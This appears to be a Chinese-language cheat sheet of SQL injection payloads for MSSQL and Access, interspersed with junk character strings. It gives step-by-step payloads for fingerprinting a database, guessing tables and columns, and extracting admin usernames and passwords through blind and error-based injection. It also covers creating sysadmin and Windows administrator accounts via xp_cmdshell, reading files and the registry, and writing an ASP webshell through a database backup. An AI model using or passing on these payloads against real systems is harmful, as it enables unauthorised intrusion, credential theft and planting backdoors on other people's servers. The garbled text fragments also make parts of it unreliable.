1.判断是否有注入
! i I# S! c4 ^;and 1=1 . [* A B' f& }& i( ^
;and 1=2
& Y% Z8 p! `- h! A8 |+ T
: D' P6 B5 \; E; C' u3 D9 i2.初步判断是否是mssql . A5 B4 M' S9 e( `1 j% q1 c0 L' d3 a
;and user>0
6 U+ a) w/ ^$ C S2 p" Y- I
& A4 L* ~( M- [& S l3.判断数据库系统
) N. n1 ~, U5 t0 \/ I' h;and (select count(*) from sysobjects)>0 mssql ! v3 t5 @2 S+ o2 b [& e8 n* }: j
;and (select count(*) from msysobjects)>0 access
* I) K. B. z3 \/ y8 j9 A! L% I. e# U S8 H o, P+ G) m
4.注入参数是字符
5 |2 C+ D& R' |# A8 I% U1 E'and [查询条件] and ''=' 6 W- T' Z" T' i
6 b1 b* R, R. R5.搜索时没过滤参数的
; N: l) Z5 J; Q$ c9 `6 p'and [查询条件] and '%25'='
# r/ R+ L. X& U2 n P
( X! i' c% t1 y! S* I6.猜数表名
7 B* i/ |$ V- w! n1 E0 n( M4 m;and (select Count(*) from [表名])>0 ( g2 o: m& R7 @
( A3 ^$ R8 s0 W3 Z9 N7.猜字段 " [* u* `8 M/ d! X& q
;and (select Count(字段名) from 表名)>0 1 R4 l* z- o" R: |
* R9 n1 E; c7 X; i# O
8.猜字段中记录长度 5 I8 |0 u+ _! k
;and (select top 1 len(字段名) from 表名)>0 & h8 D( r4 j3 J+ H" Z# V) D
* e% K1 r4 X% \* O% M- U
9.(1)猜字段的ascii值(access) & i3 @. ~& a, A v& @: s# B
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 " j" L7 _8 D2 U% C; v" L
1 A& z+ g& c& E, E7 {' n: R(2)猜字段的ascii值(mssql)
8 M( ?# s# n$ u4 t( m3 ?; K;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' o1 l) |! X9 j% M% a/ E
( g. r! K3 g9 y1 b
10.测试权限结构(mssql)
" ^, ?$ x- K, p! B;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 T5 F" F7 K% ^;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 D0 N4 B4 v4 V: A7 K5 ?;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 [9 d( E9 D- x3 C" w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : b. F7 Y& A% p% Y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
" [' N5 ^& i8 x- a* k% P;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4 B+ U9 d: B( z5 U2 r5 t! d# V: i
;and 1=(select IS_MEMBER('db_owner'));-- 5 x" b# U8 ]& p5 c( c6 ]
" L* v$ X8 G( D* L
11.添加mssql和系统的帐户 ( u3 y7 y' L" n2 g
;exec master.dbo.sp_addlogin username;--
0 C9 {' ~5 a/ T5 y$ j: @3 R. n;exec master.dbo.sp_password null,username,password;--
' o4 z3 v! Y2 n/ P;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " z! K, K# k2 x& Z
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
( `' A K% P( z6 G I* `;exec master.dbo.xp_cmdshell 'net user username password /add';--
8 ]6 J5 W& X' L4 K6 j; T& o* D) h; t;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 p) {, h& y5 X1 T. v* H! l! U% S3 I9 m8 `* |! @
12.(1)遍历目录 2 D% @# B7 |, A3 Q2 a Y
;create table dirs(paths varchar(100), id int)
( e# v, I; g, a0 F- x;insert dirs exec master.dbo.xp_dirtree 'c:\'
. D3 _# j2 Y j: o! e. ~% B3 M;and (select top 1 paths from dirs)>0 1 n8 C9 u$ s/ m" Y- ?
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 N# u" y$ G8 I$ U k& S% ^2 e, ~0 @- w
" M4 i- L5 O8 j8 `* u* u2 b(2)遍历目录
6 [0 C/ ~3 ?& ^" y4 m;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * m' f* X, E* H; F. R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- i! t) z5 x- p7 c9 u* A8 k" r;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 8 f" Z( F1 E; q; c: c
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 . t+ o9 V P5 r, q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 K* L! l! `; u M. ~ e8 d9 B" \- G5 J+ t' F3 l% _
13.mssql中的存储过程 6 D0 _2 [" s' i4 h& R
xp_regenumvalues 注册表根键, 子键
' ~2 T( B5 g8 j- x) X;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
% j1 Q) o7 W- l: R- xxp_regread 根键,子键,键值名 ' ?8 K1 G D+ z
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
: g3 T! A+ A) s" ^: \; k8 J3 E4 rxp_regwrite 根键,子键, 值名, 值类型, 值
3 Q) W4 B! l4 ]) P值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 |* T3 H3 T: S;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 1 d* O; l2 f6 H; `. @/ n$ O9 u* }
xp_regdeletevalue 根键,子键,值名
2 V9 [+ |- A0 \' {exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 6 q5 ]0 b. X& M' D
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 & l9 [* V) Y( T7 p
4 X3 O, z) `: A1 G( `) K( q14.mssql的backup创建webshell k4 d7 [, Y( D8 J
use model " N7 u# [* O/ f: S6 y3 {. I) V( i
create table cmd(str image);
5 s% W7 z2 @$ K* V' vinsert into cmd(str) values ('<% Dim oScript %>');
3 Q1 Q5 R, |7 R3 Y. k' }" Obackup database model to disk='c:\l.asp';
+ `$ Q) Q u, A1 ?: p& O' a
- V$ Y4 K! a+ l4 f* x( z( R v& H$ V# k15.mssql内置函数
: J# y+ Q/ f. a( u2 a;and (select @@version)>0 获得Windows的版本号
5 b2 q* U( O8 O+ B;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 @9 ^. H# {3 Y;and (select user_name())>0 爆当前系统的连接用户
8 v6 j( w. Z" D2 W7 C;and (select db_name())>0 得到当前连接的数据库
: G+ @1 } M- X, @0 M# J
( b4 U+ y7 J/ K7 h6 ~
+ S) t( s, W& a) D- E) L# ]2 G6 ]" E
MSSQL手注暴库
8 D6 D. w) r! J9 `. f) u' c$ j1 n9 B _& R
1.暴出当前表名和列名
* G! \! ?2 t! x# P在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。( t& h5 ?7 u" D$ {
n, _; U. n$ c3 Q第一.爆出所有数据库名
& ^8 M; b# u0 x2 S& H* N5 r利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。1 v9 P; x1 g/ _5 y5 h4 o' @
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。# y* t- |+ c* S" z# c
1 H; [# ?% c! M* o0 Zand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名- Q/ z) p p* G( ~" N; a% ?# c
/ P' l F8 L5 u( L5 |
9 `& z0 z9 H/ z( O: F
第二.爆出指定库中的所有表名3 S) k. o2 g( F, V$ R! e
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
. ^4 o6 _) j: e1 D z& @再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。# a) r: Y+ s8 r4 H7 T$ T/ m* k" L
! c% j) h8 Z% m" f; x' j5 Q' `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--6 X. a. J5 P- V, m* E/ a& L' m
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--, Z1 Q5 U% g- b1 n- s
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
/ D% i6 e' w, Q' s) e+ s4 O
0 s5 A/ R) L5 b6 | U& ]1 K6 i4.爆出指定表中的所有列名; s: j6 Z% Y: {. o7 L4 U- d
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) & v: f8 P7 G6 H& Y" C& Q+ ^
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名', H9 _! M7 b+ U
6 o$ W1 b( s; P' f. N, wand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名3 w7 P5 {' F* L+ p5 q* c. ` Y- K
! |! Q, q9 R. y5 X
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
# X- C* y- a$ i/ j) T2 m/ V S依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
" k# U6 `: r1 G
1 ?# M% V; j: Y1 P/ `2 S' }
" t" Q( w9 e4 t# Tand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
+ R- H$ B. [$ f0 e, Z( o
# N3 L$ B$ a- e9 `and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名% x3 u0 R0 u) s! _: N
2 U1 T; }) v" _9 u9 b) v" J
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 s9 F* I* X; |/ a: B$ u
9 Y0 I) L2 R; y' l
* D% d: \9 F5 \! A
. L5 ^3 C7 W$ I a- g5.读取指定表中的数据
3 X9 K, P) S# J
4 A5 N8 u8 k7 r+ h9 Z5 l, jand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ k( Z) y4 T7 d l% e$ }
f: }' u/ ]1 e0 `2 u5 f7 N
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--' g7 P! `4 t2 C! _" }
' w6 n: l. M8 b" b
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码3 R8 S( S+ e7 n) K
Y; x) h! ]" H& v" c
U1 ^: k: a1 a& C4 g* p* Mand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)$ Q* g) x2 [0 S' A5 |7 q% h
/ i( s' `) j/ s4 g5 f# j5 W+ l
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ Z4 Y% p: i D" y; G1 G7 t- N' ?
% J4 M" q% l* t' fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
0 E9 n6 a3 n6 |& v5 l3 A" f0 ?5 a. e, n2 G+ i# e# ~. t
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。4 j8 e1 v6 }9 p- o3 A
|